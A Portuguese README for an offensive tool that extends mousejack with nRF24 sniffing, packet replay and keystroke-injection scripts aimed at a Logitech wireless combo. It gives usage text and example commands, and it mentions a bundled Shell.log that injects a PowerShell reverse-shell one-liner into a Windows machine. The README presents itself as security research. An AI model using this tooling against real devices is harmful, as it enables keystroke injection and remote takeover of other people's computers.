
Ataque a mouse/teclado sem fio com replay/transmit poc
Este é um código que estende as ferramentas mousejack https://github.com/RFStorm/mousejack.
Ferramentas de replay/transmissão foram adicionadas às ferramentas originais.
Pacotes de POC baseados em um Logitech Wireless Combo MK220 que consiste em um teclado sem fio K220 e um mouse sem fio M150 estão incluídos na pasta logs.
Mais detalhes disponíveis aqui https://www.ckn.io/blog/2016/07/09/hijacking-wireless-mice-and-keyboards/
#Uso
Ferramenta de descoberta de dispositivos em modo pseudo-promíscuo, que varre uma lista de canais e imprime pacotes Enhanced Shockburst decodificados.
usage: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-p PREFIX, --prefix PREFIX Promiscuous mode address prefix
-d DWELL, --dwell DWELL Dwell time per channel, in milliseconds
Escaneie por dispositivos nos canais 1 a 5
./nrf24-scanner.py -c {1..5}
Escaneie por dispositivos com um endereço começando em 0xA9 em todos os canais
./nrf24-scanner.py -p A9
Sniffer de acompanhamento de dispositivo, que segue um dispositivo nRF24 específico enquanto ele salta e imprime pacotes Enhanced Shockburst decodificados do dispositivo. Esta versão também foi modificada para registrar os pacotes em um arquivo de log
usage: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS -o OUTPUT [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-a ADDRESS, --address ADDRESS Address to sniff, following as it changes channels
-o OUTPUT, --output OUTPUT Output file to log the packets
-t TIMEOUT, --timeout TIMEOUT Channel timeout, in milliseconds
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250
-r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15]
Capture pacotes do endereço 8C:D3:0F:3E:B4 em todos os canais e salve-os em output.log
./nrf24-sniffer.py -a 8C:D3:0F:3E:B4 -o logs/output.log
Reproduz pacotes capturados ou transmite pacotes gerados. Ele segue um dispositivo nRF24 específico enquanto ele salta e envia pacotes de um arquivo de log.
usage: ./nrf24-replay.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS -i INPUT_FILE [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-a ADDRESS, --address ADDRESS Address to sniff, following as it changes channels
-o INPUT_FILE, --input INPUT_FILE Input file that has the packets to sned
-t TIMEOUT, --timeout TIMEOUT Channel timeout, in milliseconds
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250
-r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15]
Envie pacotes do arquivo keystroke.log para o endereço 8C:D3:0F:3E:B4 no canal de salto
./nrf24-replay.py -a 8C:D3:0F:3E:B4 -i logs/keystroke.log
Mapeador de rede estrela, que tenta descobrir os endereços ativos em uma rede estrela alterando o último byte do endereço fornecido e pingando cada um dos 256 endereços possíveis em cada canal da lista de canais.
usage: ./nrf24-network-mapper.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-p PASSES] [-k ACK_TIMEOUT] [-r RETRIES]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
-a ADDRESS, --address ADDRESS Known address
-p PASSES, --passes PASSES Number of passes (default 2)
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [250,4000], step 250
-r RETRIES, --retries RETRIES Auto retry limit, accepts [0,15]
Mapeie a rede estrela à qual o endereço 61:49:66:82:03 pertence
./nrf24-network-mapper.py -a 61:49:66:82:03
Os chips nRF24LU1+ incluem um mecanismo de teste para transmitir um tom contínuo, cuja frequência pode ser verificada se você tiver acesso a um SDR. Existe o potencial de deslocamentos de frequência entre dispositivos causarem comportamento inesperado. Por exemplo, uma das placas de desenvolvimento SparkFun testadas tinha um deslocamento de frequência de ~300kHz, o que fez com que ela recebesse pacotes em dois canais adjacentes. Este script fará o transceptor transmitir um tom no primeiro canal passado como argumento.
usage: ./nrf24-continuous-tone-test.py [-h] [-c N [N ...]] [-v] [-l]
optional arguments:
-h, --help show this help message and exit
-c N [N ...], --channels N [N ...] RF channels
-v, --verbose Enable verbose output
-l, --lna Enable the LNA (for CrazyRadio PA dongles)
Transmita um tom contínuo a 2405MHz
./nrf24-continuous-tone-test.py -c 5
Isso usa um dicionário para mapear pressionamentos de teclado para os pacotes equivalentes. Ele lê a entrada stdin e registra os pacotes mapeados em logs/keystrokes.log. Aceitará entrada até que Ctrl+C seja pressionado.
usage: ./keymapper.py
A pasta logs contém vários pacotes pré-salvos para várias operações de teclado.
Shell.log é para exploração de uma máquina Windows executando um one-liner do PowerShell que se conecta de volta à máquina do atacante.
O arquivo keys.log serve como referência onde vários pressionamentos de tecla e combinações são mapeados para seus pacotes equivalentes.
Uma demonstração de exploração de uma máquina Windows pode ser encontrada aqui https://www.youtube.com/watch?v=YLzUeK1IvJs&feature=youtu.be